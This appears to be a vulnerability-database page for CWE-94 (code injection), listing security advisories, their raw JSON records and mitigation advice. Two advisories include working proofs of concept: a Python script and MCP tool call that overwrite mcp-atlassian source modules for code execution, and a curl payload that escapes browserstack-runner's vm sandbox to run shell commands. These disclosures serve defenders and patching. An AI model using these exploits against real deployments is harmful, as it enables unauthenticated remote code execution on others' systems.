CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
9452 vulnerabilities reference this CWE, most recent first.
GHSA-6VMQ-24H2-PJ7J
Vulnerability from github – Published: 2026-09-22 20:36 – Updated: 2026-09-22 20:36Summary
The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validate_safe_path() is called without an explicit base_dir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without
raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).
Details
src/mcp_atlassian/utils/io.py — validate_safe_path() defaults to CWD when no base_dir is supplied:
def validate_safe_path(path, base_dir=None) -> Path:
if base_dir is None:
base_dir = os.getcwd() # root of the issue
resolved_base = Path(base_dir).resolve(strict=False)
...
if not resolved_path.is_relative_to(resolved_base):
raise ValueError("Path traversal detected")
Both call sites in src/mcp_atlassian/confluence/attachments.py omit base_dir:
validate_safe_path(target_path) # line ~227, download_attachment()
validate_safe_path(target_dir) # line ~270, download_content_attachments()
When the process CWD is /app, any path under /app satisfies is_relative_to(CWD) and passes the guard, including all Python source modules:
/app/src/mcp_atlassian/confluence/attachments.py -> passes, no exception
/app/src/mcp_atlassian/servers/main.py -> passes, no exception
/app/.env -> passes, no exception
PoC
Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.
Additionally requires Python 3.10+ and uvx to run the proof below.
The script imports validate_safe_path directly from the installed package, not a simulation of the function.
# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path # real package
print(f"Module: {validate_safe_path.__module__}")
# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)
# Control: classic traversal is blocked
try:
validate_safe_path("/etc/passwd")
except ValueError:
print("[OK] /etc/passwd blocked")
# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")
# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
b"import os\n_PWNED=True\n"
b"def get_secret():\n"
b" os.system('id')\n"
b" return 'PWNED'\n"
)
print("[WRITE] Module overwritten with malicious payload")
# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod) # os.system('id') executes here
print(f"[RCE] get_secret() = {repr(mod.get_secret())}")
print(f"[RCE] _PWNED = {mod._PWNED}")
shutil.rmtree(app_dir)
uvx --from mcp-atlassian python poc_bypass.py
Verified output (mcp-atlassian 0.21.0):
Module: mcp_atlassian.utils.io
[OK] /etc/passwd blocked
[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised
[WRITE] Module overwritten with malicious payload
uid=1000(appuser) gid=1000(appuser) groups=1000(appuser)
[RCE] get_secret() = 'PWNED'
[RCE] _PWNED = True
Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "confluence_download_attachment",
"arguments": {
"page_id": "<page_id>",
"attachment_id": "<malicious_attachment_id>",
"download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
}
}
}
validate_safe_path does not raise. The module is overwritten and the payload executes on the next process restart.
Impact
Affected versions: 0.17.0 through 0.21.0 (latest).
Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.
Suggested fix: pass a dedicated, explicitly configured directory as base_dir instead of relying on CWD:
_DOWNLOAD_BASE = Path(
os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()
validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-atlassian"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-77271"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-22T20:36:20Z",
"nvd_published_at": "2026-09-22T18:17:19Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. `validate_safe_path()` is called without an explicit `base_dir`, defaulting to `os.getcwd()`. In standard container deployments the process CWD is the application directory (e.g. `/app`), so paths within that directory, including the application\u0027s own Python source modules, pass validation without\nraising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions \u003e= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).\n\n### Details\n\n`src/mcp_atlassian/utils/io.py` \u2014 `validate_safe_path()` defaults to CWD when no `base_dir` is supplied:\n\n```python\ndef validate_safe_path(path, base_dir=None) -\u003e Path:\n if base_dir is None:\n base_dir = os.getcwd() # root of the issue\n resolved_base = Path(base_dir).resolve(strict=False)\n ...\n if not resolved_path.is_relative_to(resolved_base):\n raise ValueError(\"Path traversal detected\")\n```\n\nBoth call sites in `src/mcp_atlassian/confluence/attachments.py` omit `base_dir`:\n\n```python\nvalidate_safe_path(target_path) # line ~227, download_attachment()\nvalidate_safe_path(target_dir) # line ~270, download_content_attachments()\n```\n\nWhen the process CWD is `/app`, any path under `/app` satisfies `is_relative_to(CWD)` and passes the guard, including all Python source modules:\n\n```\n/app/src/mcp_atlassian/confluence/attachments.py -\u003e passes, no exception\n/app/src/mcp_atlassian/servers/main.py -\u003e passes, no exception\n/app/.env -\u003e passes, no exception\n```\n\n### PoC\n\n**Prerequisites:** same as GHSA-xjgw-4wvw-rgm4 \u2014 Confluence credentials with write access to at least one page, and network access to the MCP HTTP port.\nAdditionally requires Python 3.10+ and `uvx` to run the proof below.\n\nThe script imports `validate_safe_path` directly from the installed package, not a simulation of the function.\n\n```python\n# poc_bypass.py\nimport os, tempfile, shutil, importlib.util\nfrom pathlib import Path\nfrom mcp_atlassian.utils.io import validate_safe_path # real package\n\nprint(f\"Module: {validate_safe_path.__module__}\")\n\n# Simulate /app (standard container CWD)\napp_dir = tempfile.mkdtemp(prefix=\"mcp_atlassian_app_\")\nmodule_dir = os.path.join(app_dir, \"src\", \"mcp_atlassian\")\nos.makedirs(module_dir)\nmodule_path = os.path.join(module_dir, \"attachments.py\")\nPath(module_path).write_text(\u0027def get_secret(): return \"LEGITIMATE\"\\n\u0027)\nos.chdir(app_dir)\n\n# Control: classic traversal is blocked\ntry:\n validate_safe_path(\"/etc/passwd\")\nexcept ValueError:\n print(\"[OK] /etc/passwd blocked\")\n\n# Bypass: intra-CWD path passes without exception\nresult = validate_safe_path(module_path)\nprint(f\"[BYPASS] {result} - no exception raised\")\n\n# Overwrite module with attacker payload\n# (content sourced from a Confluence attachment uploaded by the attacker)\nPath(module_path).write_bytes(\n b\"import os\\n_PWNED=True\\n\"\n b\"def get_secret():\\n\"\n b\" os.system(\u0027id\u0027)\\n\"\n b\" return \u0027PWNED\u0027\\n\"\n)\nprint(\"[WRITE] Module overwritten with malicious payload\")\n\n# Simulate process restart / module reload\nspec = importlib.util.spec_from_file_location(\"m\", module_path)\nmod = importlib.util.module_from_spec(spec)\nspec.loader.exec_module(mod) # os.system(\u0027id\u0027) executes here\n\nprint(f\"[RCE] get_secret() = {repr(mod.get_secret())}\")\nprint(f\"[RCE] _PWNED = {mod._PWNED}\")\n\nshutil.rmtree(app_dir)\n```\n\n```bash\nuvx --from mcp-atlassian python poc_bypass.py\n```\n\n**Verified output (mcp-atlassian 0.21.0):**\n\n```\nModule: mcp_atlassian.utils.io\n\n[OK] /etc/passwd blocked\n[BYPASS] /tmp/mcp_atlassian_app_.../src/mcp_atlassian/attachments.py - no exception raised\n[WRITE] Module overwritten with malicious payload\nuid=1000(appuser) gid=1000(appuser) groups=1000(appuser)\n[RCE] get_secret() = \u0027PWNED\u0027\n[RCE] _PWNED = True\n```\n\n**Triggering via MCP tool:** upload a malicious `.py` file as a Confluence attachment, then call:\n\n```json\n{\n \"jsonrpc\": \"2.0\",\n \"id\": 1,\n \"method\": \"tools/call\",\n \"params\": {\n \"name\": \"confluence_download_attachment\",\n \"arguments\": {\n \"page_id\": \"\u003cpage_id\u003e\",\n \"attachment_id\": \"\u003cmalicious_attachment_id\u003e\",\n \"download_path\": \"/app/src/mcp_atlassian/confluence/attachments.py\"\n }\n }\n}\n```\n\n`validate_safe_path` does not raise. The module is overwritten and the payload executes on the next process restart.\n\n### Impact\n\n**Affected versions:** 0.17.0 through 0.21.0 (latest).\n\nAttack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to \u003e= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to `0.0.0.0` with no authentication by default.\n\n**Suggested fix:** pass a dedicated, explicitly configured directory as `base_dir` instead of relying on CWD:\n\n```python\n_DOWNLOAD_BASE = Path(\n os.environ.get(\"MCP_DOWNLOAD_DIR\", \"/tmp/mcp-downloads\")\n).resolve()\n\nvalidate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)\n```",
"id": "GHSA-6vmq-24h2-pj7j",
"modified": "2026-09-22T20:36:20Z",
"published": "2026-09-22T20:36:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/security/advisories/GHSA-6vmq-24h2-pj7j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77271"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/pull/1448"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/commit/b041733473f95119dd539542a43c280737a8e460"
},
{
"type": "PACKAGE",
"url": "https://github.com/sooperset/mcp-atlassian"
},
{
"type": "WEB",
"url": "https://github.com/sooperset/mcp-atlassian/releases/tag/v0.22.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)"
}
GHSA-6VR3-7WCX-V5G5
Vulnerability from github – Published: 2026-06-03 21:39 – Updated: 2026-06-03 21:39Summary
The HTTP handler /_log in lib/server.js (lines 491–515) of browserstack-runner passes unauthenticated user-supplied data to vm.runInNewContext() combined with eval(), enabling a sandbox escape and arbitrary code execution on the host system.
Details
When browserstack-runner starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (0.0.0.0). The /_log endpoint accepts POST requests and processes the JSON body as follows:
// lib/server.js lines 504-510
var context = { input: query.arguments, format: util.format, output: '' };
var tryEvalOrString = 'function (arg) { try { return eval(\'o = \' + arg); } catch (e) { return arg; } }';
vm.runInNewContext('output = format.apply(null, input.map(' + tryEvalOrString + '));', context);
The vm module is not a security mechanism per Node.js documentation. The context object contains a reference to util.format (a host-context Function), enabling sandbox escape via this.constructor.constructor("return process")().
Unlike the _progress and _report handlers which verify worker UUID authentication, the _log handler does not gate on authentication.
Proof of Concept
# Terminal 1: start the runner
echo '<html><body>t</body></html>' > t.html
echo '{"username":"X","key":"X","test_path":"t.html","test_framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js
# Terminal 2: exploit
curl -s http://127.0.0.1:8888/_log \
-H "Content-Type: application/json" \
-d '{"arguments":["this.constructor.constructor(\"return process.mainModule.require(\`child_process\`).execSync(\`id\`).toString()\")()"]}'
# Terminal 1 output shows:
# [undefined] uid=1000(user) gid=1000(user) ...
Impact
An attacker on the same network as a developer running browserstack-runner can execute arbitrary commands on the developer's machine without authentication. The attack window exists for the duration of the test run (typically 1–15 minutes). The BrowserStack access key is accessible in the same process context via environment variables.
Remediation
- Remove
eval()andvm.runInNewContext()from the_loghandler — useJSON.stringify()for safe logging - Add UUID authentication to
_log(matching_progressand_reporthandlers) - Bind the HTTP server on
127.0.0.1instead of0.0.0.0
Credit
Christ Bowel Bouchuen
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "browserstack-runner"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.9.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49143"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-03T21:39:32Z",
"nvd_published_at": "2026-06-02T21:16:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe HTTP handler `/_log` in `lib/server.js` (lines 491\u2013515) of browserstack-runner passes unauthenticated user-supplied data to `vm.runInNewContext()` combined with `eval()`, enabling a sandbox escape and arbitrary code execution on the host system.\n\n### Details\n\nWhen `browserstack-runner` starts, it creates an HTTP server on port 8888 (configurable) that listens on all network interfaces (`0.0.0.0`). The `/_log` endpoint accepts POST requests and processes the JSON body as follows:\n\n```javascript\n// lib/server.js lines 504-510\nvar context = { input: query.arguments, format: util.format, output: \u0027\u0027 };\nvar tryEvalOrString = \u0027function (arg) { try { return eval(\\\u0027o = \\\u0027 + arg); } catch (e) { return arg; } }\u0027;\nvm.runInNewContext(\u0027output = format.apply(null, input.map(\u0027 + tryEvalOrString + \u0027));\u0027, context);\n```\n\nThe `vm` module is [not a security mechanism](https://nodejs.org/api/vm.html#vm-executing-javascript) per Node.js documentation. The `context` object contains a reference to `util.format` (a host-context Function), enabling sandbox escape via `this.constructor.constructor(\"return process\")()`.\n\nUnlike the `_progress` and `_report` handlers which verify worker UUID authentication, the `_log` handler does not gate on authentication.\n\n### Proof of Concept\n\n```bash\n# Terminal 1: start the runner\necho \u0027\u003chtml\u003e\u003cbody\u003et\u003c/body\u003e\u003c/html\u003e\u0027 \u003e t.html\necho \u0027{\"username\":\"X\",\"key\":\"X\",\"test_path\":\"t.html\",\"test_framework\":\"qunit\",\"browsers\":[]}\u0027 \u003e browserstack.json\nnode bin/runner.js\n\n# Terminal 2: exploit\ncurl -s http://127.0.0.1:8888/_log \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"arguments\":[\"this.constructor.constructor(\\\"return process.mainModule.require(\\`child_process\\`).execSync(\\`id\\`).toString()\\\")()\"]}\u0027\n\n# Terminal 1 output shows:\n# [undefined] uid=1000(user) gid=1000(user) ...\n```\n\n### Impact\n\nAn attacker on the same network as a developer running `browserstack-runner` can execute arbitrary commands on the developer\u0027s machine without authentication. The attack window exists for the duration of the test run (typically 1\u201315 minutes). The BrowserStack access key is accessible in the same process context via environment variables.\n\n### Remediation\n\n1. Remove `eval()` and `vm.runInNewContext()` from the `_log` handler \u2014 use `JSON.stringify()` for safe logging\n2. Add UUID authentication to `_log` (matching `_progress` and `_report` handlers)\n3. Bind the HTTP server on `127.0.0.1` instead of `0.0.0.0`\n\n### Credit\n\nChrist Bowel Bouchuen",
"id": "GHSA-6vr3-7wcx-v5g5",
"modified": "2026-06-03T21:39:32Z",
"published": "2026-06-03T21:39:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/browserstack/browserstack-runner/security/advisories/GHSA-6vr3-7wcx-v5g5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49143"
},
{
"type": "PACKAGE",
"url": "https://github.com/browserstack/browserstack-runner"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/browserstack-runner-unauthenticated-rce-via-log-http-handler"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "browserstack-runner vulnerable to Remote Code Execution via vm sandbox escape in _log HTTP handler"
}
GHSA-6VRJ-8GXV-3R7W
Vulnerability from github – Published: 2022-05-17 05:18 – Updated: 2022-05-17 05:18Argument injection vulnerability in Request Tracker (RT) 3.8.x before 3.8.15 and 4.0.x before 4.0.8 allows remote attackers to create arbitrary files via unspecified vectors related to the GnuPG client.
{
"affected": [],
"aliases": [
"CVE-2012-4884"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-11-11T13:00:00Z",
"severity": "MODERATE"
},
"details": "Argument injection vulnerability in Request Tracker (RT) 3.8.x before 3.8.15 and 4.0.x before 4.0.8 allows remote attackers to create arbitrary files via unspecified vectors related to the GnuPG client.",
"id": "GHSA-6vrj-8gxv-3r7w",
"modified": "2022-05-17T05:18:46Z",
"published": "2022-05-17T05:18:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2012-4884"
},
{
"type": "WEB",
"url": "http://lists.bestpractical.com/pipermail/rt-announce/2012-October/000212.html"
},
{
"type": "WEB",
"url": "http://www.debian.org/security/2012/dsa-2567"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6VRV-PVC8-F6CM
Vulnerability from github – Published: 2022-05-17 00:39 – Updated: 2022-05-17 00:39security/xamppsecurity.php in XAMPP 1.6.8 performs an extract operation on the SERVER superglobal array, which allows remote attackers to spoof critical variables, as demonstrated by setting the REMOTE_ADDR variable to 127.0.0.1.
{
"affected": [],
"aliases": [
"CVE-2008-6499"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-03-20T00:30:00Z",
"severity": "MODERATE"
},
"details": "security/xamppsecurity.php in XAMPP 1.6.8 performs an extract operation on the SERVER superglobal array, which allows remote attackers to spoof critical variables, as demonstrated by setting the REMOTE_ADDR variable to 127.0.0.1.",
"id": "GHSA-6vrv-pvc8-f6cm",
"modified": "2022-05-17T00:39:19Z",
"published": "2022-05-17T00:39:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6499"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47202"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7384"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6VX9-M878-J4X6
Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2022-05-24 17:37JsLink in Webswing before 2.6.12 LTS, and 2.7.x and 20.x before 20.1, allows remote code execution.
{
"affected": [],
"aliases": [
"CVE-2020-11103"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-30T21:15:00Z",
"severity": "CRITICAL"
},
"details": "JsLink in Webswing before 2.6.12 LTS, and 2.7.x and 20.x before 20.1, allows remote code execution.",
"id": "GHSA-6vx9-m878-j4x6",
"modified": "2022-05-24T17:37:36Z",
"published": "2022-05-24T17:37:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11103"
},
{
"type": "WEB",
"url": "https://bitbucket.org/meszarv/webswing/issues/375/webswing-jslink-mechanism-remote-code"
},
{
"type": "WEB",
"url": "https://www.webswing.org/docs/2.6/discover/release_notes.html#release-notes-2-6-12"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6W3P-6VXH-3M74
Vulnerability from github – Published: 2022-05-17 00:42 – Updated: 2022-05-17 00:42PHP remote file inclusion vulnerability in assets/snippets/reflect/snippet.reflect.php in MODx CMS 0.9.6.2 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the reflect_base parameter.
{
"affected": [],
"aliases": [
"CVE-2008-5938"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-01-22T11:30:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in assets/snippets/reflect/snippet.reflect.php in MODx CMS 0.9.6.2 and earlier, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the reflect_base parameter.",
"id": "GHSA-6w3p-6vxh-3m74",
"modified": "2022-05-17T00:42:05Z",
"published": "2022-05-17T00:42:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-5938"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46797"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7204"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32824"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4940"
},
{
"type": "WEB",
"url": "http://svn.modxcms.com/svn/tattoo/tattoo/releases/0.9.6.3/install/changelog.txt"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32436"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/3236"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6W64-QV3W-W28W
Vulnerability from github – Published: 2022-05-01 23:53 – Updated: 2022-05-01 23:53PHP remote file inclusion vulnerability in authentication/smf/smf.functions.php in Simple Machines phpRaider 1.0.6 and 1.0.7 allows remote attackers to execute arbitrary PHP code via a URL in the pConfig_auth[smf_path] parameter.
{
"affected": [],
"aliases": [
"CVE-2008-2769"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-18T22:41:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in authentication/smf/smf.functions.php in Simple Machines phpRaider 1.0.6 and 1.0.7 allows remote attackers to execute arbitrary PHP code via a URL in the pConfig_auth[smf_path] parameter.",
"id": "GHSA-6w64-qv3w-w28w",
"modified": "2022-05-01T23:53:22Z",
"published": "2022-05-01T23:53:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2769"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42996"
},
{
"type": "WEB",
"url": "http://forums.phpraider.com/showthread.php?t=1087#v1_0_7b_-_May_29__2008"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3947"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/493275/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6W6G-QXCW-FFC5
Vulnerability from github – Published: 2022-05-14 04:01 – Updated: 2025-04-11 04:18The Microsoft Bing application before 4.2.1 for Android allows remote attackers to install arbitrary APK files via vectors involving a crafted DNS response.
{
"affected": [],
"aliases": [
"CVE-2014-1670"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2014-01-25T16:55:00Z",
"severity": "MODERATE"
},
"details": "The Microsoft Bing application before 4.2.1 for Android allows remote attackers to install arbitrary APK files via vectors involving a crafted DNS response.",
"id": "GHSA-6w6g-qxcw-ffc5",
"modified": "2025-04-11T04:18:31Z",
"published": "2022-05-14T04:01:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-1670"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/90977"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=com.microsoft.bing"
},
{
"type": "WEB",
"url": "http://blog.trustlook.com/2014/01/23/trustlook-reported-microsofts-first-ever-android-vulnerability"
},
{
"type": "WEB",
"url": "http://osvdb.org/102575"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/65128"
},
{
"type": "WEB",
"url": "http://www.youtube.com/watch?v=_j1RKtTxZ3k"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-6W7R-F23M-5RVH
Vulnerability from github – Published: 2024-11-04 18:31 – Updated: 2024-11-06 00:31A Host header injection vulnerability in Agile-Board 1.0 allows attackers to obtain the password reset token via user interaction with a crafted password reset link.
{
"affected": [],
"aliases": [
"CVE-2024-51329"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-04T18:15:05Z",
"severity": "HIGH"
},
"details": "A Host header injection vulnerability in Agile-Board 1.0 allows attackers to obtain the password reset token via user interaction with a crafted password reset link.",
"id": "GHSA-6w7r-f23m-5rvh",
"modified": "2024-11-06T00:31:55Z",
"published": "2024-11-04T18:31:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-51329"
},
{
"type": "WEB",
"url": "https://github.com/idrsdev/agile-board/tree/main"
},
{
"type": "WEB",
"url": "https://github.com/redtrib3/CVEs/tree/main/CVE-2024-51329%20-%20Host%20Header%20Injection"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6WGJ-FXQF-WXJ2
Vulnerability from github – Published: 2023-12-01 09:30 – Updated: 2023-12-01 09:30An issue has been discovered in GitLab affecting all versions before 16.4.3, all versions starting from 16.5 before 16.5.3, all versions starting from 16.6 before 16.6.1. Under certain circumstances, a malicious actor bypass prohibited branch checks using a specially crafted branch name to manipulate repository content in the UI.
{
"affected": [],
"aliases": [
"CVE-2023-5226"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-12-01T07:15:12Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab affecting all versions before 16.4.3, all versions starting from 16.5 before 16.5.3, all versions starting from 16.6 before 16.6.1. Under certain circumstances, a malicious actor bypass prohibited branch checks using a specially crafted branch name to manipulate repository content in the UI.",
"id": "GHSA-6wgj-fxqf-wxj2",
"modified": "2023-12-01T09:30:44Z",
"published": "2023-12-01T09:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5226"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2173053"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/426400"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
